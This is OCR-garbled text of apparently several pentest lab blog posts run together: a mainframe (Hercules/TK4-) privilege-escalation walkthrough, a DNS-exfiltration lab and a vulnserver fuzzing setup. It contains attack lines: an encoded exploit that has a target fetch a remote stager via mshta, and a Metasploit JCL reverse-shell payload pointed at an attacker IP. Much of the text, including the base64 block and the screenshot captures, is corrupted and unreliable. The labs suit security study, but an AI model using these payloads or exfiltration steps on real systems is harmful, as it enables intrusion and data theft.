eHQvaHRtbCxhcHBsaWNhdGIvbi94aHRtbCt4bWwsYXBwbGIjYXRpb24veG1sO3ESMCA5LGItYWdI
L3dIYnAsKi8qO3E9MC44liwglkFjY2VwdC1MYWS5ndWFnZSI61CIwbCxlbilVUztxPTAuNyxIbjtx
PTAuMyIsICIBY2NIcHQtRW5jb2RpbmciOiAiZ3ppcCwgZGVmbGFOZSIsICIDb250ZW50LVR5cGUi
OiAIYXBwbGIjYXRpb24veC13d3ctZm9ybS11lcmxlbmNvZGVkliwglk9yaWdpbil6lCJodHRwQi8v
1it0YXInZXQrljo4MDgxliwglkNvbm5IY3Rpb24i0iAiY2xvc2UiLCAiIUmVmZXJIcil6IClodHRw
0i8vlisgdGFyZ2VO0ICsiOjgwODEVY2dpLWJpbi90YXNrcy9zeXNsb2ciLCAiVXBncmFkZS1JbnNI
Y3VyZS1SZXF1ZXNOcyl6ICIxInOKCmNtZCA9IHIhd19pbnB1dCgnQ29tbWFuZCBwbGVhc2UG6IFsx
OmRIZMF1bHQsIDI6IHIVdXJzXScpCmImIGNtZCA9PSAxOgoglHByaW50ICdblVOgecmVtZW1iZXIg
dG8gc3RhcnQga29kaWFjlwoglGJ1cnAwX2RhdGEgPSB7ImNvbW1hbmQiOiAic2ggbXNodGEgaHRO
cDovLzE5Mi4xNjguMTExXLjEyODo50Tk5L2J5VUE2liwgInNIbmQiOiAiU2VuZClsIClub3JIZnJl
c2giOiAIMSIsIClyZWZyZXNoX2ludGVydmPFsljogljUiLCAibXNnY291bnQiOiAiMjlifQplbHNI
0OgoglGJ1cnAwX2RhdGEgPSB7ImNvbW1hbmQiOiAic2ggliArIGNtZCwgInNIbmQiOiAiU2VuZCls
ICJub3JI1ZnJIc2giOiAIMSIsIClyZWZyZXNoX2ludGVydmFsljogljUiLCAIbXNNY291bnQiOiAi
MijlifQoKCnNIc3Npb24ucG9zdChidXJwMF91cmwsIGhlYWRIcnM9YnVycDBfaGVhZGVycywgY29v
a2llcz1lidXJwMF9jb29raWVzLCBkYXRhPWJ1cnAwX2RhdGEpCgpwcmludCAnWytdIGRvbmUgO10n
CiMgCg==

Kodiac is restarted so (after fixing this bug in the source ;)) we should be somewhere here:

fault,
kodiac

#

Ok, but this is still ,,Windows” not the ,mainframe” we were looking for, right? ;) Let’s continue
below.



Quick intro and new vocabulary

Bonsoir.

As we are in the new environment, a ,,main” one ;] | believe it’s time to learn few new wor(l)ds.
Because of that, today we’ll start here:

Shortcut

CICS [4]

Short Description
(Customer Information Control System) is a family of mixed language
application servers that provide online transaction management and
connectivity for applications on IBM mainframe.

CICS transaction

(4]

Transaction is a set of operations that perform a task together. (...) relatively
simple tasks such as requesting an inventory list or entering a debit or credit
to an account. A primary characteristic of a transaction is that it should be
atomic.

REXX [5] 'Restructured Extended Executor' is an interpreted programming language
developed at IBM by Mike Cowlishaw. It is a structured, high-level
programming language designed for ease of learning and reading.

HLASM [6] 'High Level Assembler' is IBM's current assembler programming language for
its z/0S, z/VSE, z/VM and z/TPF.
TN3270 [7, 8] TN3270 Plus is a 3270 terminal emulator
SURROGAT [9] | A surrogate user is a user who has the authority to do tasks on behalf of
another user, by using the other user's level of authority.

JCL[10] Scripting languages used on IBM mainframe operating systems to instruct
the system on how to run a batch job or start a subsystem

RACF [11] (Resource Access Control Facility) - security system that provides access
control and auditing functionality for the z/OS and z/VM operating systems.

APF [12] Is used to allow the installation to identify system or user programs that can

use sensitive system functions



https://en.wikipedia.org/wiki/CICS
https://en.wikipedia.org/wiki/CICS
https://en.wikipedia.org/wiki/Rexx
https://en.wikipedia.org/wiki/IBM_High_Level_Assembler
https://en.wikipedia.org/wiki/TN3270_Plus
https://en.wikipedia.org/wiki/IBM_3270
https://www.ibm.com/support/knowledgecenter/SSIGMP_1.0.0/igi/racf/install_config/c_surrogate_user.htm
https://en.wikipedia.org/wiki/Job_Control_Language
https://en.wikipedia.org/wiki/Resource_Access_Control_Facility
https://www.ibm.com/support/knowledgecenter/zosbasics/com.ibm.zos.zsecurity/zsecc_060.htm

For now we can continue here[13]:

£ wotho.ethz.ch/tkd-/
e
enhanced startup/shutdown
parameterization, and much more)

tk4- v1.00 update_07.zip TK4- Update 07: Seventh
incremental update to the TK4-
System (basic TCP/IP support and
RFE/REVIEW update)

tk4- v1.00 update 08.zip TK4- Update 08: Eighth incremental
update to the TK4- System (New
MVSDDT, RFE/REVIEW, IMON/370
and IND$FILE versions, S/370
instruction set extensions, and much
more)

tk4- v1.00 current.zip Current TK4- System: TK4- System
ith all incremental updates applied

New Systems
Please follow the installation instructions in the User's Manual and use
the Current TK4- System instead of the TK4- System.

Existing Systems
Please install the incremental updates in sequence following the instructions given
in the document found in folder doc of the respective zip file.

B L L s T R T T T e S S S s ST

MVS 3.8J Tur(n)key 4- ("TK4-") is a ready to use 0S/VS2 MVS 3.8J
system built specifically to run under the Hercules System/370,
ESA/390, and z/Architecture Emulator. It is an extension of the
original MVS Tur(n)key Version 3 System ("TK3") created by Volker
Bandke in 2002. See the User’s Manual for credits and copyrights.

ok b kb kb
IR

Let’s continue with Ubuntu 20. At this stage | decided to check a console-based client available for
Linux called x3270. Let’s try it:

~ root@ubuntu20: ~

:~# apt search x3270
Sorting... Done
Full Text Search... Done
/focal 3.6g9a4-3buildl amd64
Curses program for telnet sessions to IBM mainframes

/focal,focal 2.0.3-1 all
monospaced font based on IBM 3270 terminals

/focal 3.6ga4-3buildl amd64
X11 program for telnet sessions to IBM mainframes

/focal,focal 3.6ga4-3buildl all
X11 program for telnet sessions to IBM mainframes - documentation

/focal,focal 3.6ga4-3buildl all
Font files for the x3270(1) IBM 3270 emulator

= |

Checking:

:~# apt install x3270
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
3270-common xfonts-x3270-misc
suggested packages:
%x3270-doc

The following NEW packages will be installed:
3270-common x3270 xfonts-x3270-misc
0 upgraded, 3 newly installed, ® to remove and 389 not upgraded.
Need to get 718 kB of archives.
After this operation, 1 844 kB of additional disk space will be used.
Do you want to continue? [Y/n] yl

After a while we should be here, trying to connect to remote Hercules VM:


https://www.youtube.com/channel/UCR1ajTWGiUtiAv8X-hpBY7w

X3270-4 192.168.1.132:3270

[+ c@ubuntu20: ~

:1~%§ X3270 192.168.1.132:3270
Warning: Cannot convert string "-*-helvetica-bold-r-
8859-1" to type FontStruct

HHH HH
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HHH HHH
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HATNFRAME

Great! Looks like we’re in! ;] It means: we can connect from remote Linux machine to our ‘mainframe
server’. So far, so good. Let’s continue below...



First Crush
So far we already downloaded the ZIP package (tk4-v1.00 current.zip[14]). Let’s move it to our
Ubuntu VM. When it’s unzipped, we should be here:

28% Wysylanie ?
Plik: C:\Pliki\Soft\tk4-_v1.00_current.zip
Cel: [home/c/
Czas do zakoficzenia:  0:00:11 Czas trwania: a
Przestano: 114 MB  Predkosc: 23

Checking (I starged set_console_mode from unnattended directory and next ./mvs):

c@ubuntuz0: ~fhercool

g file[14] 4-. : including file local_con
g file[15] . ncluding file local_con
file[16] . ncludmu file local_con
g file[17] 5 ing file local_con
g file[18] . L ing file local_con
file[19] 5 g file local_conf,
1d TFEAFO"T prio @, na panel st
t processing file scrip

command was Dl:lCE'd at index @

tot IEA1G1A

target was placed at index 1

cmd script ${SCR181A:=scripts} 101A_S$S{REP101A:=default}5{CMD161A}
command placed at index 1

5}/SCR101A_${REP181A:=default]}${CMD101A}
ccmrund was placed at index
* pausing for a few seconds, please stand by.
Threjd 1d TFBADESDB700, pric O, name Hercules Automatic Operator started

a few seconds, please stand by.
: rchitecture mode
"TEP PﬁF\N‘.ETEF\' FOR REL
Match at index 81, executing command scr i 101A_default
script scripts; 181A_default
Enter input for console B:0089
script 2: begin processing file scripts/SCR101A_default

Let’s wait for the end of the loading... After a while we can start learning about the new environment
we are currently watching ;]

:~$ telnet localhost 3270
Trying 127.6.0.1
Connected to loc
Escape character is
HHC01027T Hercules version 4.00, built on Jun 23 2016 20:34:21

HHC01031I Running on ubuntu2@ (Linux-5.4.0-58-generic.#64-Ubuntu SMP Wed Dec 9 ©8:16:25 UTC 2020 x86_64 UP)
HHCO1028E Connection rejected, no available 1052 or 3215 device

Connection closed by foreign host.
B

Let’s try again:


http://wotho.ethz.ch/tk4-/

helvetica-bold-r-normal--14-*-100-100-p-* " to type FontStruct

x3270-4 localhost:3270

3215 device
nnected

So far, so good. We can continue with the hints we already found [13]. (At this stage to avoid some
‘character misunderstood’ — simply go to the Options to change your language/localization settings.
It should be fine and ready to go now ;).)

For example, we are here:

x3270-4 localhost:3270
c@ubuntu20: ~/hercool
File Dptions

a ended
g ended

x
x
(3270xad s

yLlker Bandke
Juergen elmann
.CREDITS for complete credi

g ended

ATTEMPT
ATTEMPT TO Al

In the meantime, check it out:

At this stage we can see it could be ,,a little bit more dangerous” when Hercules is started on Linux. ;)


https://www.youtube.com/channel/UCR1ajTWGiUtiAv8X-hpBY7w

Next, we should be here: herc console (or webherc console) is not ,,mainframe console” yet. In my
opinion ‘access to the mainframe’ we’ll have when we can use (for example) one of the users
presented below:

C & © @& httpsy/herculesmainframeemulatorweebly.com/cre- [E] (80% 1 eee w r'InD © O

« Notes

How to Create a New TSO User

You must be logged on with a Sysprog type user, like Herc01, to be able to define new users. Take a look at the job in SYS2.JCLLIB(ADDUSER). You need to change the invokation
parameter HLQ to the new userid, and you need to specify if the new user is a system programmer, or not. Creating a "normal”, non-sysprog type user will be done with a jcl line like this

//ADDUSER EXEC ADDUSER HLQ=GWBUSH.UTYPE=USER
whereas a sysprog type user would be defined via /ADDUSER EXEC ADDUSER HLQ=VOLKER UTYPE=SYSP

There are five predefined TSO users in the MVS Tur(n)key System: Usenid Description Password IBMUSER Emergency user HERCO1 System Programmer Userid HERCO02 System
Programmer Userid CULSTR HERCO3 Standard user HERCO04 Standard user PASS4TU

We'll use it later. For now let’s stay with HERCO1 user, like below:

root@ubuntu20: fhome/c/hercool

x%3270-4 localhost:3270

HELF member

Feel free to spend some time with HELP command ;) Moving forward — and we are here:



x3270-4 localhost:3270

File Options

EDIT
Fi AT F

D1

Dl

As you can see there is a lot to read and learn about. One of the example questions: as you can see
we can ,invoke fortran prompter (...) and compiler” — hints like that we’ll use later to check for a
privilege escalation possiblities. For now let’s continue here[17] — following few manuals available
online to learn and understand more about this kind of OS:

root@ubuntu20: /home/fc/hercc
Dptions



https://www.youtube.com/watch?v=BZmXkpXm_sw&list=UUR1ajTWGiUtiAv8X-hpBY7w&index=24

rofile prefi

rofile

Help for oper

TER WHICH I5 TO BE USED FOR

ER.

ED TO DELETE A
ARACTER FOR THE

TO BE USED TO DELETE A LIME
MAL . I EM DEFAL

JOT TO EBE FPROMPTED FOR

So far, so good. To not spoil the documentation too much to you ;) let’s now jump directly here:



TIIE TP LS B e

listcat

Nice, nice, nice... but can we use it to escalate our privileges? It’s always good to know and
understand as-much-as-we-can about the new target OS/host(s). All the information we’ll grab we
can use later during our pentests to move around and/or hide inside the target OS. Good exercise is
also to try to do ‘the same’ (for example) on Linux and then on Hercules (as it was presented
here[13]). For now let’s move forward.


https://www.youtube.com/channel/UCR1ajTWGiUtiAv8X-hpBY7w

Touchdown
As reading and learning about ‘new system’ can take you some time we’ll jump here:

root@ubuntu20: /h

= - x3270-4 localhost:3270
160 PRINTER2 INA

250 DYNA

NOT
NOTP. V ni LB Date
Time

DEACTIVATE IN

DEACTIVATE IN PR
ATTEMPT TO E

\C tool

tool

NODE NO7P3 4  QUEUE
NOTP3  NODE S HELF
NODE NO7 UTIL
NE 0 TERMTEST

Enter to Terminat

erminate

If you’ll check an ,,each option available in the menu” — just to simply ‘check’ what’s inside — you'll
quickly find that there are ‘multiple parsers’ we can use. What does it mean for me? As a ‘parser’ |
mean interpreter(s for example) for REXX, TSO, WMIC, SH and so on (so we can try to identify
multiple ways for privilege escalation bugs — at least ,in the ideal scenario”, right? ;)).

Let’s move forward. In my VM (Ubuntu 20) REXX ,,parser” was not installed in default. Let’s fix that in
a first place:

] # apt-cache search rexx
exuberant-ctags - build tag file indexes of source code definitions
crashmail - JAM and *. capable Fidonet tosser
libbsf-java - Bean Scripting Framework to support scripting languages in Java
libbsf-java-doc - Bean Scripting Framework to support scripting - documentation
libregina3 - Regina REXX interpreter, run-time library
libregina3-dev - Regina REXX interpreter, development files
regina-rexx - Regina REXX interpreter

] # apt-get install regina-rexx -y
Reading package lists... Done
Building dependency tree
Reading state information... Done

In the meantime when we’re observing Hercules we can see a message in the console similar to the
one presented on the screen below:

HHCARA81I Match at index 83, executing command script scripts/SCREOG160A

HHCA1663I script scripts/SCREOA10A
HHCB22601 Script 6: begin processing file scripts/SCROGE1GA

Ok. So far regina-rexx should now be ready so we can continue with an example ,hello world”
program. We should be here:



@ ‘Q‘ 0 a https://hercules-390.github.io/htm|/rexxinteg.htm

Sample Hercules-REXX Script

The following REXX script is a sample that can be used to verify that Hercules-REXX integration is working,
Hercules User Reference, pages 376-377.

You can copy and past the example below into a file sample.rexx on your system and give it a try.

/* REXX */
parse arg parms

parms = space(parms)
argc = words(parms)

parse version ver
parse source src

env = address()

Let’s try it:

/* REXX */ root@ubuntu20: fhome/c/hercool/scripts
parse arg parms

parms
argc

= space (parms)
= words (parms)
parse version ver
parse source src

env = address|(
parse var src . . cmd

who = filespec("n",cmd)
parse var who who "." .

au who " started”

Checking (with the part that they unfortunately forgot to add in the description ;)):

root@ubuntu20: fhome/c/hercool/scripts

: # ./helloworld. rexx
helloworld started
helloworld wersion . . . . : REXX-Regina_3.6 5.080 31 Dec 2811
helloworld source . . . . : UNIX COMMAND [home/c/hercool/scripts/helloworld.rexx
helloworld hostenv . . . . : SYSTEM
helloworld date . . . . . Dec 2020
helloworld time . . . . . : 00:00:25
helloworld argumens . . . . : no argument given
helloworld Hercules version
helloworld RC Environment
Warning: SAA API not compiled into interpreter
3 # head -n 4 helloworld.rexx

#! fusr/bin/rexx
[* REXX *,
parse arg parms

At this stage — for me — the question was: do we need an ‘interpreter line’ when runing REXX code via
Hercules or no? Well, we’ll find out later. After checking some basic syntax for REXX[19] we can move
forward.


https://regina-rexx.sourceforge.io/

,Just have to know”

Below we’ll try to understand how to run ‘some example program’ that can help us to elevate our
privileges in the target OS. To do that we’ll start here[20]:

¢ @ v & https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.bpxb600/tochtm

SMP/E Version 3 ~
z/08 Using REXX and z/0S UNIX System Services

1BM Tivoli Direct S f 0S - - - -
ivoli Directory Server for z/ Previous topic | Next topic | Contents | Contact z/OS | Library | PDF

IBM Tivoli System Automation for z/OS

z/0STSO/E Contents (exploded view)
z/0S UNIX System Services
z/0S Using REXX and z/OS UNIX System Servi
+ z/OS UNIX System Services Command Reference SA23-2;L§§-00 an ystem services

+ z/0S UNIX System Services File System Interface

Reference

s Abstract for Using REXX and z/0S UNIX System Services

* z/0O8 Version 2 Release 1 summary of changes

z/0S UNIX System Services Planning s Using TSO/E REXX for z/0S UNIX processing

o Host command environments for /08 UNIX processing

z/0S UNIX System Services Messages and Codes

+

+

+ z/OS UNIX System Services Programming Tools ;
o The SYSCALL environment
+ z/0S UNIX System Services Programming: Assembler = Running a REXX program from TSO/E or MVS batch
Callable Services Reference » Establishing the SYSCALL environment

= Ending the SYSCALL environment

+ z/0S UNIX System Services User's Guide 2t . : i .
» Establishing and deleting the signal interface routine

— z/0S Using REXX and z/0S UNIX System Services o The SH environment
Abstract for Using REXX and z/OS UNIX System = Running a REXX program from the z/OS shells or from a program
Services = Using external functions and subroutines

After a while... ;] We can continue here: (File -> File transfer):


https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.bpxb600/toc.htm

X3270 File Transfer X

Local File Hane Iﬁhomef’cf’hercool.f’scripts.f’helloworldmexxl |

Host File Hane Ihelloworld&rexx |

4 Send to host 4 Host is YH/CHS
4 Beceive fron host # Host is TS0
€ Host is CICS
# Transfer ASCIT file # Add/renove CR at end of line
4 Transfer binary file # Renap ASCII Characters

X Append to file

Record Fornat Space Allocation Units
4 Default # Default

4 Fired © Tracks

4 Yariable € Cylinders

Next:

%3270 File Transfer

Source: I Shomescrhercool fsoriptedhel loworld, res

Destination: Ihellnwor‘ld2.r‘exx I

Haiting for host acknouwledgnent...

IMDEFILE FUT hellow

(At this moment) | decided™® (xD + rtfm!1111 ;* ; see below...)that ‘during our internal pentest’ we
will not ,wait for host acknowledgment” ;) so | decide to move forward to find some other way to get
more suitable position. ;] Let’s go here[21]:

https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ich/ich.htm

Description

Security Server is an optional feature of z/OS that lets you control aceess to protected resources. It consists of IBMs Resource Access Control Facility (RACF).
provides a set of Java Security Administration (JSec) APIs to allow administration of users and groups in security repositories from z/O$ RACF or other non-z/4
A Link to Java Security Administration (JSec) is provided.

Order Number Title Abstract Link TOC Link PDF Link
SA23-2290-00 z/OS Security Server RACF Auditor's Guide Abstract TOC PDF
SA23-2293-00 z/OS Security Server RACF Callable Services Abstract TOC PDE
SA23-2292-00 z/OS Security Server RACF Command Language Reference Abstract TOC PDF
GA32-0885-00 z/OS Security Server RACF Data Areas NA NA PDF
GA32-0886-00 z/OS Security Server RACF Diagnosis Guide Abstract TOC PDF
uide SA23-2298-00 z/OS Security Server RACF General User's Guide Abstract TOC PDF
rvices SA23-2288-00 z/OS Security Server RACF Macros and Interfaces Abstract TOC PDF
language $A23-2201-00 2/OS Securify Server RACF Messages and Codes Abstract TOC PDF
SA23-2289-00 z/OS Security Server RACF Security Administrator's Guide Abstract TOC PDF
SA23-2287-00 z/OS Security Server RACF System Programmer’s Guide  Abstract TOC PDF

uide SA23-2294-00 2z/OS Security Server RACROUTE Macro Reference Abstract TOC PDF

Looks like we have a nice list of hints from the Vendor to check ;) We'll definitely read those files too
during our learning process. But for now — let’s take a look, here:


https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ich/ich.htm

JcL B 9%

1<

& & https://vulners.com/metasploit/}

payload cnd/ma infrane/reverse_shell_jcl LHOST=192.168.1.107 raw > kabOOn

%g Have you ever thought about Al and future of security?
Now our Al Network calculates severity score of vulnerabilities!

Z/0S (MVS) Command Shell, Reverse TCP
2016-04-01 01:42:42

ID MSF:PAYLOAD/CMD/MAINFRAME/REVERSE_SHELL_JCL
Type metasploit

Reporter Rapid7

Modified 2017-09-29 23:27:29

Right. ,,Nihil novi” here, sure. (After we read more about the target OS and the filesystem ;) we can
move forward *here(now we don’t need to , wait to accept” ;) but this is the reason to read the
fantastic manual, isn’t it? ;)). Checking with latest Kali VM:

= = Fi

x3270-4 localhost:3270

File  Options

X3270 File Transfer

Local Fila Rarm [rromerc/kabton
Host File Mane [ hercoZ.test.ontl (kabioe]

#Send to hast ©Hoat iz V/THS
% Recelve fron hast #Hoat iz TSO
©Host iz CICS

# Transfer ASCIL file ¥ dd/renove CR at end of Line
@ Transfer binary file W Renap ASCIL Characters

£ fppend to File
Record Fornat Space Allocation Units

Next step is presented on the screen below (as here, on our ,,scenario” we’re focusing on ,escalation
possibility” not at the gaining access process):

root@ubuntu20: /home/c/her|

drwxr-xr-x 2 c c
drwxrwxr-x 2 c c
drwxrwxr-x 18 c ®
drwxr-xr-x 2 root root
STW-Tw-r-- 1
-TW-rW-r-- 1
STW-TW-r-- 1
-TW-rW-r-- 1
drwxr-xr-x 3
drwxrwxr-x 19

-rW-rw-r-- 1 ¢ 17|

i~$ nc 0 22

SSH-2.0-0penSSH_8.2p1 Ubun|

Invalid SSH identification|

:~$ ifconfig
enp@s3: flags=4163<UP,BROA|
inet 192.168.1.217
inet6 fes0::5bde:al
ether 08:00:27:da:
RX packets 1696 b
RX errors @ dropp|
TX packets 956 by
TX errors 6 dropp|

lo: flags=73<UP,LOOPBACK,R
inet 127.0.0.1 ne|

inet6 prefixl
loop txqueuelen 1
RX packets 4375 b
RX errors @ dropp|
TX packets 4375 b
TX errors @ dropp|

:~% 1s kabeom

When our ‘example code’ is on the target host — we can continue here:



x3270-4 localhost:3270

TWXr

TWXTV
FWXry
TWXr

FrW-rV
TrW-rV
TW-TV
FrW-rV
TWXr

TWXTy

FZETUFO

EZETUF1

As we can see (logged-in as hercO*x-user then 1, then 3.4; enter; our-user->enter;e to
up(loaded)dated file) we’ll find some results here:

x3270-4 localhost:3270

Activities X3270xad ¥

*) el

ﬁ File Options
ﬁa rning

Let’s continue below.



Conslusion(S?)

Sure. ,,Multiple”, isn’t it?;)
For example:

- we still do not achievd reversed shell. Why? In my opinion: because | used ,,emulator” not the , fully
working z/0S” (but feel free to correct me if I’'m wrong. | spent ,,only 12 days” with
manuals/references and other available resources so probably ,| missed something” ;));

- we still have a lot to read and learn about multiple languages available for ,,mainframe”
(JCL/REXX/TSO/ and few other interesting consoles (see; reference below for the more details)...);

- there are few other modules in Metasploit we can check/test and read about (to get more practice
with ,,our mainframes takeover scenarios”)...

So?

Have fun. And in case of any questions — feel free to ping me via blog or @twitter. ;)

Cheers!


https://twitter.com/codysixteen
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https://github.com/zerosum0x0/koadic
https://en.wikipedia.org/wiki/CICS
https://en.wikipedia.org/wiki/Rexx
https://en.wikipedia.org/wiki/IBM_High_Level_Assembler
https://en.wikipedia.org/wiki/TN3270_Plus
https://en.wikipedia.org/wiki/IBM_3270
https://www.ibm.com/support/knowledgecenter/SSIGMP_1.0.0/igi/racf/install_config/c_surrogate_user.htm
https://en.wikipedia.org/wiki/Job_Control_Language
https://en.wikipedia.org/wiki/Resource_Access_Control_Facility
https://www.youtube.com/watch?v=QTxe8ASdxE0
-%20https:/www.youtube.com/channel/UCR1ajTWGiUtiAv8X-hpBY7w
http://wotho.ethz.ch/tk4-/
https://www.youtube.com/watch?v=opBLBYAR8tU
https://herculesmainframeemulator.weebly.com/create-a-new-tso-user.html
-%20https:/www.youtube.com/watch?v=BZmXkpXm_sw&list=UUR1ajTWGiUtiAv8X-hpBY7w&index=24
http://www.jaymoseley.com/hercules/tso_tutor/tsotutor.htm
https://regina-rexx.sourceforge.io/
https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.bpxb600/toc.htm
https://github.com/mainframed/TShOcker
https://rosettacode.org/wiki/Hello_world/Newbie

Do Not Send




Outro
... why not intro? Because we’ll talk about the output today — to be more specific: about
what can go out - so that’s why we started from the outro ;]

Our today’s ,,simple scenario” looks like this: we’re doing internal pentest for SomeCompany
and we were asked to steal/leak some data (for example to verify DLP/FW rules — you name it).

So let’s prepare small lab for our testing purposes. Here we go[1]...

Environment
| decided to use 2 VM'’s (both created on VirtualBox):

- Ubuntu 18
- Kali Linux.

Let’s say that Ubuntu VM is the target machine from we want to leak the data. Knowing that we are
in the ,,super filtered corporate network” let’s focus not on ,, what’s blocked” but ,what’s allowed”.
So — according to the ,,example corporate network rules” — you will probably find a network
communication possible on ports like 53/TCP (DNS) and/or some HTTP(s) port (like 80/443). Let’s
assume that this is a very basic configuration but it should be good enough for our porposes. We'll
continue below.


wireshark.org

Example step
This attack can be performed from Windows and Linux OS as well but today we'll focus on the Linux-
based scenario. We’ll start here:

‘@ root@ubuntu18: ~

On our target host we have a supersecret.file with the content we would like to move outside the
company’s network. According to our ‘scenario’ (read as: DNS is ‘probably’ not blocked) we can use it
to do that using so called ,,DNS exfiltration”. To continue | prepared the Kali machine like it is
presented on the screen below:

.@ root@ubuntu18: ~

11+ ek

Domain names are described more precisely here[2]. To change the content of the file we'll like to
send we can use xxd command available in our target/linux box. Let’s move forward - now Wireshark
is started on Kali:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® + BRE@ o « » n -« E oo o g
N udp.port ==53 EIE3 - Expression..

Time Source Destination Protocol Length Info
5 14.071926846 a 192. a DNS 155 Standard query @xd57c A 637a772c203720737479203
ICMP estination unreachable (Port unreachable)
155 Standard query @xd57c A 637a772c203720737479203
=stination unreachable (Port unreachable)

As you can see we can see the queries to the hostnames that are in fact the content of our
supersecret.file. So far, so good. Let’s continue below and save the packet (I save it as ascii-txt file
and as a normal pcap-file too):


https://tools.ietf.org/html/rfc1034

4NN 480 4 47T/

MarkfUnmark Packet
Ignore/Unignore Packet
Set/Unset Time Reference
Time Shift...

Packet Comment...

Edit Resolved Name

Apply as Filter
Prepare a Filter
Conversation Filter
Colorize Conversation
SCTP

Follow

Copy

At this stage we should be able to send a DNS query to our ‘Kali-DNS’. If so — let’s continue below...

== Standard query ©xd57c A 637a772c20
Ctrl+M pestination unreachable
s f g tandard query 0xd57c A 637a772c20

ination unr hable

De e ort unre
Cerl+T Btandard query ©xd57c A 637a772c20

Ctrl+Shift+T Destination unr hi
Ctri+Alt+C

UDP Stream Ctrl+Alt+Shift+U




Next step
Let’s restart the attack but this time with the tshark:

root@kali: ~
File Edit View Search Terminal Tabs Help
root@kali: ~

:~# tshark -i any -w /tmp/dnstest®©3.pcap
Running as user "root" and group "root". This could be dangerous.
Capturing on 'any'
el

@ root@ubuntu18: ~

ur

Ok. We should be somewhere here:

:~# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
ype "help", "copyright", "credits" or "license" for more information.
>>> import scapy
>>> from scapy.all import *
>>>

Ok. Looks like we have a working scapy[3]. Let’s continue and read the PCAP file we saved:

@ root@kali: /home/c/src/edens

Cool, checking:


https://scapy.readthedocs.io/en/latest/usage.html

So far —looks good! ;] Let’s now continue. We'll add a ,,decoder” that will help us to ,,receive” the
plain-text-version of the exfiltrated secret. file:

Cool. Let’s run it against our PCAP file:



Looks like this is it! ;]

Of course there are more creative versions of this attack, for example using more secure channels for
communication — but fur our ‘notes purposes’ it should be enough for a start. ;)

File Edit Vie [+]

i~
Running as [
Capturing on ; =
137 I N

ul.ll-Ubuntu

ntul.ll-Ubuntu

Few other examples you can find in the Reference section below.

Enjoy!



References
Links and resources | found interesting when | was preparing this article:

1 — Download Wireshark

2 —DNS RFC

3 - Scapy

4 — Example tool: DNSExfiltrator / ReflectiveDnsExfiltrator

5 — Example tool: dns-exfiltration
6 — Example tool: dnsteal

7 — Example tool: dfex


wireshark.org
https://tools.ietf.org/html/rfc1034
https://scapy.readthedocs.io/en/latest/usage.html
https://github.com/Arno0x/DNSExfiltrator
https://github.com/Arno0x/ReflectiveDnsExfiltrator
https://github.com/krmaxwell/dns-exfiltration
https://github.com/m57/dnsteal
https://github.com/ekiojp/dfex/

Fuzz Me If You Can




Intro

Few days ago | was reading about fuzzing. After we tried file format fuzzing few times in the past[1]
this time | decided it will be a good exercise to check what we can do with the protocols. Below you'll
find few notes about it. Here we go...

Environment
Let’s start from the base environment | used:

- Windows 7 VM;
- Kali Linux VMV;
- vulnserv application[2];

- Windbg (with Imsec.dll but if you can not find/install it — no problem, you can continue without it as
well - you'll see;)).

If we’ll need anything else — I'll mention it below.

So far we are ready to go...



https://code610.blogspot.com/p/mini-arts.html
https://thegreycorner.com/vulnserver.html

Step by step

In case of our initial-base ‘vulnerable app’ we can easily see that this is a ‘plain/text’-based protocol.
So good — it should be easy to prepare an ‘example request’ (just like for other ‘clear-text-based’
protocols, ex. ftp, mqtt, mail, etc...).

Let’s start here:

S cat test_req01.txt
KSTET AAAAAA
$

With this very simple example request file we can continue here[3]:

https://gitlab.com/akihe/radamsal

Aki Helin » radamsa

R radamsa ®
Project ID: 6703375

< 442 Commits ¥ 2Branches ¢ 3Tags [ 1.2 MBFiles E 6 MB Storage % 2 Releases

a general-purpose fuzzer

develop radamsa

When we’ll prepare radamsa on our Ubuntu we can jump directly to the next step: a little bit of
»,automation”[4] ;) On the Windows 7 VM | prepared a new txt file with the content of my ‘autorun
script’ I’d like to run each time our vulnserv app will crash. Initial file is presented below:

ﬂ autorun.td - Motepad
File Edit Format View Help

g9
g9

g

.echo "LOADED"

- logopen c:'\tests'fuzzlab'targetapp. log
u eip

r
|:\Elurrp /g c:htestshfuzzlab' dumpapp. dmp

Moad msec.dl]
lexploitable -v
.echo "OK"
lanalyze -v
.restart /T

To use it | opened cmd.exe (as an admin — just in case ;)) and started windbg.exe like this:

Cmd> windbg.exe —c ,,$5>< c:\path\to\our\autorun.script”

Next step — prepare radamsa to go on Kali VM:


https://gitlab.com/akihe/radamsa
https://code610.blogspot.com/2018/08/sample-fuzzing-automation.html

gl Cihtests\wvulnserverivulnserver.exe - WinDbg:6.11.0001.404 K86
File Edit View Debug Window Help

Command - Cihtests\wulng

HodLoad: 75£60000
HodLoad: 62500000 Starting vu ver version 1.60

HodLoad: 77ab00oo [Called essential function dl11 version 1.88
ggg%g:g: 3;2%3338 This is vulnerable software?

HodLoad: 76640000 Do not allow access from untrusted systems or networks?

R Ctests\vulnserver\vulnserver.exe

(774.3f4): Break im
=ax=00000000 =b==00
eip=77bfetle ==sp=00
c==001b ===0023 d:
=xx ERROR: Symbol f
ntdll | IdrVerifyInag
77bfekls oo

Processing initial
0:000> $$>< c:ntest
HodLoad: 75710000 ﬁC:\Windaws\systemBZ\(rﬂd.exe
HodLoad: 75£bL0O000
ModLoad: 77a60000

Maiting for client connections...

. C:“Program Files“Debugging Tools for Windows (x86)>uindbg.exe —-c "$5>{ c:\testsy
HodLoad: 7660000 fuzzlabNautorun.txt"_
ModLoad: 77710000

After a while we should be somewhere here:

v Local Disk (C:} » tests » fuzzlzb - | “"f| | Search fuzzlab
brary = Share with = Mew folder H==
MName Date modified Type 5

|| dumpapp_187c_2021-01-07_04-25-17-04...  1/7/2021 4:25 AM DMP File
dumpapp_187c_2021-01-07_04-25-18-92...  1/7/2021 4:25 AM DMP File
dumpapp_187c_2021-01-07_04-25-21-41...  1/7/2021 4:25 AM DMP File
